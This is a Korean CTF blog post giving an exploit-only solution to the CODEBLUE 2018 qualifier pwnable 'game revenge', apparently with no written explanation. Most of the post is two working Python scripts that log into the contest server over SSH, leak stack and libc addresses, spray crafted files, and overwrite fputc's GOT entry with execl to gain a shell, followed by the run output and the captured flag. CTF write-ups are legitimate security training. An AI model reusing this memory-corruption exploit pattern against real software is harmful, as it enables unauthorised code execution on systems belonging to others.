CODEBLUE 2018 QUAL - game revenge (Exploit only)

2018. 8. 3. 04:22·CTF/2018

Category : pwnable

 

Summary : big file, malloc fail, ptr=malloc(size+1);ptr[size] = '\x00';  // ptr = 0, size = 0x0804~~~~



정말 오랜만에 first blood + 1solve ! 설명은 조만간 추가 예정


ex.py

#!/usr/bin/python

from pwn import *
import re

ssh_ = ssh(host = 'pwn2.task.ctf.codeblue.jp', password = 'lets_play' , user= 'game_chal')
ssh2_ = ssh(host = 'pwn2.task.ctf.codeblue.jp', password = 'lets_play' , user= 'game_chal')
s2 = ssh2_.process('/bin/sh', env={'PS1':''})
s2.sendline('cd /tmp/wwwwpp/')
s2.sendline('''ln -s setregid_sh `python -c 'print "\xb0\x1d\x1b"'`''')


while 1:
s = ssh_.process('/bin/sh', env={'PS1':''})
s.sendline('cd /tmp/wwwwpp/')
s.sendline('ulimit -c 1024')
s.sendline('/home/p11454/game')

# card game for memory leak
s.recvuntil('3. Exit')
s.sendline('2')

# scanf("%u %u", ...) failed
s.recvuntil('Input the coordinate of the 1st card to open\n')
s.sendline('a b')

s.recvuntil('Input the coordinate of the 2nd card to open\n')
stack, libc_base = map(int, re.findall('\((\d+), (\d+)\)', s.recvline().strip())[0])
#libc_base = libc_base - 0x1d0030
libc_base = libc_base - 0x1d6010

# last 2bytes of libc base must be 0xc000

if (libc_base & 0xf000) != 0xc000:
s.close()
continue

execl_libc = libc_base + 0xB0A80

print 'libc_base :', hex(libc_base)
print 'execl@libc : ', hex(execl_libc)
s2.sendline('python create.py {}'.format(hex(execl_libc)))
s2.recvuntil('done')

# spray ...
for i in range(0, 20):
print i
s.recvuntil('3. Exit\n')
s.sendline('1')
s.recvuntil('Can you answer all the questions correctly?')
s.recvuntil('Q. ')
s.sendline('a')
s.recvuntil('Wrong.')

s.recvuntil('3. Exit\n')
s.sendline('1')
s.recvuntil('Can you answer all the questions correctly?')
for i in range(0, 5):
print i
s.recvuntil('Q. ')
s.sendline('u\x00')
s.recvuntil('Correct!')

print 'trigger!'
s.interactive()


create.py

#!/usr/bin/python

import sys
from struct import pack

p32 = lambda x : pack("<L", x)

if len(sys.argv) != 2:
exit(-1)

def create_sample(fname, data, length):
with open(fname, 'wb') as f:
i = length % 0x1000 if length % 0x1000 else 0x1000
f.write('a\nu\x00'+(data*((i-4)/len(data))))
while i < length:
f.write((data * (0x1000 / len(data))))
i += 0x1000

create_sample('youlose', 'a', 0x8000000)
create_sample('banner', 'a', 0x0804b069) # fputc@got
with open('flag', 'wb') as f:
f.write('hello\nbye\n')

value = int(sys.argv[1], 16)
for i in range(1, 11):
create_sample('quiz%02d' % i, p32(value), 0x8000000)

print 'done'


Exploit!

$ python ex.py
[+] Connecting to pwn2.task.ctf.codeblue.jp on port 22: Done
[!] Couldn't check security settings on 'pwn2.task.ctf.codeblue.jp'
[+] Connecting to pwn2.task.ctf.codeblue.jp on port 22: Done
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16527
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16533
[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16533)
..........................
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16672
[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16672)
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16677
[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16677)
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16682
[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16682)
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16687
libc_base : 0xf75fc000
execl@libc : 0xf76aca80
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0
1
2
3
4
trigger!
[*] Switching to interactive mode


(null)Q. hello
> $
Wrong.
$ id
uid=33433(game_chal) gid=11454(p11454) groups=11454(p11454),33433(game_chal)
$ cat /home/p11454/actual_flag
CBCTF{Natural vulnerability in a miniature garden}

Flag : CBCTF{Natural vulnerability in a miniature garden}


저작자표시 (새창열림)

'CTF > 2018' 카테고리의 다른 글

SECCON 2017 QUAL - secure_keymanager  (0) 2018.08.22
WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore)  (0) 2018.08.20
WhiteHat GrandPrix 2018 QUAL - pwn01 (giftshop)  (0) 2018.08.19
WhiteHat GrandPrix 2018 QUAL - web03  (0) 2018.08.19
CODEGATE 2018 Qual - 7amebox2  (1) 2018.02.04
'CTF/2018' 카테고리의 다른 글
  • WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore)
  • WhiteHat GrandPrix 2018 QUAL - pwn01 (giftshop)
  • WhiteHat GrandPrix 2018 QUAL - web03
  • CODEGATE 2018 Qual - 7amebox2
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    power of community
    web
    POC
    vuln
    HUST2011
    csaw
    정보보호올림피아드
    pwnables
    gnuboard
    후기
    csaw ctf
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
CODEBLUE 2018 QUAL - game revenge (Exploit only)
상단으로

티스토리툴바